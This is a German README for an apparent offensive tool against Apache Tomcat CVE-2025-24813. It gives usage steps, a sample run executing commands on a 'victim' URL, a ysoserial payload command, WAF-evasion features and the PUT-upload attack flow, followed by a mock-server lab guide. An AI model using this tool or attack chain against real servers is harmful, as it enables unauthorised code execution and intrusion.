
Dieses Repository enthält einen automatisierten Exploit, der für Bildungs- und Forschungszwecke im Bereich Cybersicherheit entwickelt wurde und darauf abzielt, eine potenzielle Sicherheitslücke für Remote Code Execution (RCE) in Apache Tomcat (CVE-2025-24813) zu demonstrieren.
Dieses Tool wurde als futuristische Exploit-Suite entwickelt mit Fokus auf:
🧪 Entwickelt für Cybersicherheitsprofis, Forscher, Pentester und Red Teams.
✅ Interaktive und intuitive Benutzeroberfläche
✅ Dynamische Payloads (ysoserial oder kompiliertes Java)
✅ Anti-WAF-Camouflage-Header
✅ Automatische Umgehung + Fragmentierung von Payloads
✅ Fingerprinting der Ausführung auf dem Backend
✅ Detailliertes Logging pro Ziel
✅ Dynamischer Cyberpunk-Banner (🔮 Glitch-Animation)
✅ Live-Feedback in der Konsole (mit Rich & Colorama)
Installiere die erforderlichen Abhängigkeiten mit:
pip install -r requirements.txt
Abhängigkeiten:
requests
colorama
rich
validators
Stelle außerdem sicher, dass Folgendes vorhanden ist:
Java und javac im PATHysoserial.jar bei Verwendung des ysoserial-Payload-TypsFühre das Skript aus:
python3 POC-Exploit_CVE_2025_24813.py
Und vervollständige die Konfiguration:
🧬 Wähle den Payload-Typ 💣 Gib den Befehl an 🌐 Gib die Ziel-URL ein 🔧 Passe die Umgehung und SSL-Konfiguration an
🔗 [?] Gib die Ziel-URL ein: https://opfer.org
💣 [?] Auszuführender Befehl: whoami
🧬 [?] Payload-Typ: ysoserial
📂 [?] Pfad zu ysoserial.jar: ysoserial.jar
🔧 [?] Gadget: CommonsCollections6
🔐 [?] SSL überprüfen? (ja/nein): nein
🚀 Ausführung...
🧬 WAF erkannt... Strategiewechsel
⚙️ Payload-Upload wird durchgeführt...
💥 Bestätigung der Remote-Ausführung
✅ Ergebnis: 'apache'
┌──────────────────────────────┐
│ Interaktiver Modus │
├──────────────────────────────┤
│ URL-Validierung │
│ Sitzungserkennung │
│ WAF-Erkennung │
│ Payload-Generierung │
│ Umgehender Upload via PUT │
│ Ausführungsüberprüfung │
└──────────────────────────────┘
↘ LOGS PRO ZIEL
ysoserial, serialisiert verwundbare Gadgets zur Befehlsausführung..java, das den entfernten Befehl vom Server aus ausführt.CommonsCollections6Spring1Jdk7u21POC-Exploit_CVE_2025_24813.py # Hauptskript
ysoserial.jar # Erforderlich bei Verwendung von 'ysoserial'
logs/ # Ordner für individuelle Logs pro Ziel
payload.ser # Temporär generierter Payload
Exploit.java / .class # Temporäre Java-Dateien
Dieses Tool wurde ausschließlich für legale und Bildungszwecke erstellt.
✅ Erlaubt:
🚫 Verboten:
Weder der Autor noch die Mitwirkenden haften für Missbrauch. Du bist für dein Handeln verantwortlich.
ysoserial, Java, Rich, Colorama, requests📄 CVE-2025-24813: Apache Tomcat Remote Code Execution 🔗 Details bei CVE MITRE
MIT License
Copyright (c) 2025
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files...
Näheres in der Datei
LICENSE.
Dieses README und Skript sind für ein immersives, optisches und elegantes Erlebnis gestaltet, im Einklang mit einer neuen Ära der futuristischen Cybersicherheit mit Sinn.
✨ Nicht nur Exploits... es ist eine technische Sinfonie der Umgehung und digitalen Kontrolle.
Empfohlene Version: Python 3.8+
Zu installierende Python-Bibliotheken:
pip install requests colorama
Das Skript verwendet zwei Formen von Payloads:
Daher benötigst du:
Java JDK (nicht nur JRE, da Code kompiliert wird). Überprüfe mit:
java -version
javac -version
Wenn beide Befehle funktionieren, bist du bereit.
Lade das .jar von hier herunter 👉 https://github.com/frohoff/ysoserial
Speichere es im selben Verzeichnis wie das Skript oder gib den vollständigen Pfad an, wenn du danach gefragt wirst. Beispiel:
java -jar ysoserial.jar CommonsCollections6 "calc.exe" > test.ser
calc.exe) den Taschenrechner.gnome-calculator oder xcalc ändern.Python 3.8+ installieren
Bibliotheken installieren:
pip install requests colorama etc
Java JDK 8+ installieren
java -version
javac -version
ysoserial.jar in den Skript-Ordner herunterladen.
👉 Damit kannst du das Skript im sicheren Labormodus ausführen (nur in kontrollierten Umgebungen zum Testen).
Version: 1.0 Zweck: Diese Anleitung erklärt, wie du eine vollständig sichere Umgebung zum Testen des Skripts vorbereitest, ohne reale Systeme zu beeinträchtigen. Sie enthält einen Testserver (Mock), einen sicheren Modus (DRY_RUN / SAFE_TEST) und klare Schritte zur Ausführung des Tools im Labor.
pip verfügbar.virtualenv oder venv.Installiere die Abhängigkeiten:
python3 -m venv .venv
source .venv/bin/activate # Linux / macOS
.\.venv\Scripts\activate # Windows (PowerShell/Command Prompt)
pip install -U pip
pip install requests colorama flask
Hinweis:
flaskwird nur für den lokalen Testserver (Mock) verwendet.
Erstelle eine Datei mock_server.py mit diesem Inhalt. Der Server simuliert die Endpunkte, die das Skript erwartet, und liefert kontrollierte Statuscodes (200, 409, 500), damit du die Logik des Skripts validieren kannst, ohne reale Server zu berühren.
# mock_server.py — sicherer Testserver
from flask import Flask, request, make_response, jsonify
app = Flask(__name__)
uploads = {}
@app.route('/index.jsp', methods=['GET'])
def index():
# Simuliert eine Seite, die ein JSESSIONID-Cookie oder einen Text mit "Session ID" zurückgeben kann
resp = make_response('Index page — Session ID: testsession')
resp.set_cookie('JSESSIONID', 'testsession')
return resp
@app.route('/check.txt', methods=['PUT'])
def check_put():
# Simuliert eine beschreibbare Ressource
return ('OK', 200)
@app.route('/uploads/../sessions/<session_id>.session', methods=['PUT'])
def upload_session(session_id):
# Simuliert, dass der Upload akzeptiert wurde, gibt aber 409 zurück (vom Skript erwartetes Verhalten)
uploads[session_id] = True
return ('Conflict - uploaded', 409)
@app.route('/', methods=['GET'])
def root():
# Wenn das Cookie übereinstimmt und die Sitzung "hochgeladen" wurde, geben wir 500 zurück, um einen Deserialisierungsfehler zu simulieren
session = request.cookies.get('JSESSIONID')
if session and uploads.get(session):
return ('Internal Server Error', 500)
return ('Hello from mock server', 200)
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000, debug=True)
So wird es ausgeführt:
python mock_server.py
# Der Mock lauscht unter http://127.0.0.1:8000
Für Tests musst du keine echten Payloads generieren. Erstelle eine einfache Datei, die das Skript hochladen kann:
echo "DUMMY_PAYLOAD" > payload.ser
Diese Datei enthält keinen ausführbaren Code: Sie dient nur zur Validierung der Upload-Logik und der Antworten des Mock-Servers.
Damit das Skript keine externen Tools (Java/ysoserial) aufruft oder gefährliche Aktionen ausführt, füge diesen Block am Anfang des Hauptskripts ein (vor jeder Generierung/Subprocess-Aufruf):
import os
SAFE_TEST = os.environ.get('SAFE_TEST', '0') == '1'
Ändere dann die Funktionen zur Generierung/Upload so, dass sie sich im sicheren Modus harmlos verhalten.
Beispiel für minimale Änderung von generate_ysoserial_payload und generate_java_payload:
def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file, target_url):
if SAFE_TEST:
log_info("SAFE_TEST aktiv — erstelle Dummy-Payload (nicht ausführbar)", target_url)
with open(payload_file, 'wb') as f:
f.write(b"DUMMY_PAYLOAD")
return payload_file
# --- ursprüngliches Verhalten nur, wenn SAFE_TEST == False ---
def generate_java_payload(command, payload_file, target_url):
if SAFE_TEST:
log_info("SAFE_TEST aktiv — erstelle Dummy-Java-Payload (nicht ausführbar)", target_url)
with open(payload_file, 'wb') as f:
f.write(b"DUMMY_JAVA_PAYLOAD")
return payload_file
# --- ursprüngliches Verhalten nur, wenn SAFE_TEST == False ---
Und in upload_and_verify_payload, wenn SAFE_TEST True ist, verwende den normalen Ablauf (der Mock akzeptiert ihn) aber führe keine externen Befehle aus.
So aktivierst du SAFE_TEST:
Linux/macOS:
export SAFE_TEST=1
Windows (PowerShell):
$env:SAFE_TEST = "1"
Starte deine virtuelle Umgebung und stelle sicher, dass die Abhängigkeiten installiert sind (siehe Abschnitt Voraussetzungen).
Starte den mock_server.py:
python mock_server.py
Erstelle den Dummy-Payload, falls SAFE_TEST ihn nicht selbst erstellt:
echo "DUMMY_PAYLOAD" > payload.ser
Aktiviere den sicheren Modus im Terminal:
export SAFE_TEST=1 # Linux/macOS
# oder in PowerShell: $env:SAFE_TEST = "1"
Führe das Hauptskript aus:
python3 dein_skript.py
Beantworte die Eingabeaufforderungen (verwende Laborwerte):
http://127.0.0.1:8000ysoserial (das Skript erstellt bei SAFE_TEST=1 einen Dummy-Payload, statt externe Tools aufzurufen)ysoserial.jar bleiben — wird im sicheren Modus nicht verwendet)nein (dein Mock verwendet HTTP)Beobachte die Konsolenausgabe: Du solltest Meldungen wie Server is writable via PUT, Payload uploaded with status 409 und Exploit succeeded! Server returned 500 after deserialization. sehen – dies geschieht nur im Mock und bedeutet, dass die logische Abfolge des Skripts funktioniert.
Überprüfe die Logs in logs/ – das Skript speichert Einträge mit Zeitstempeln. Z. B. logs/127_0_0_1_8000.log (je nach bereinigtem Zielnamen).
check_writable_servlet den erfolgreichen PUT auf den Endpunkt /check.txt erkennt.payload.ser der Mock 409 zurückgibt und das Skript dann einen GET mit dem Cookie JSESSIONID durchführt.Verwende pytest und requests-mock zur Simulation von HTTP-Antworten.
Erstelle Tests für:
validate_url — gültige/ungültige Eingaben.retry_request — Ausnahmen und Wiederholungen simulieren.detect_waf — Server-Header mit und ohne Signaturen simulieren.upload_and_verify_payload — den Mock-Server zur Validierung des Ablaufs nutzen.Einfaches Beispiel mit requests-mock (Grundgerüst):
# test_script.py
import requests
import requests_mock
from dein_skript import validate_url, retry_request
def test_validate_url():
assert validate_url('http://127.0.0.1:8000')
assert not validate_url('keineurl')
def test_retry_request_success():
# verwende requests_mock, um einen GET zu simulieren und retry_request zu testen
pass
Autor:ByMakavali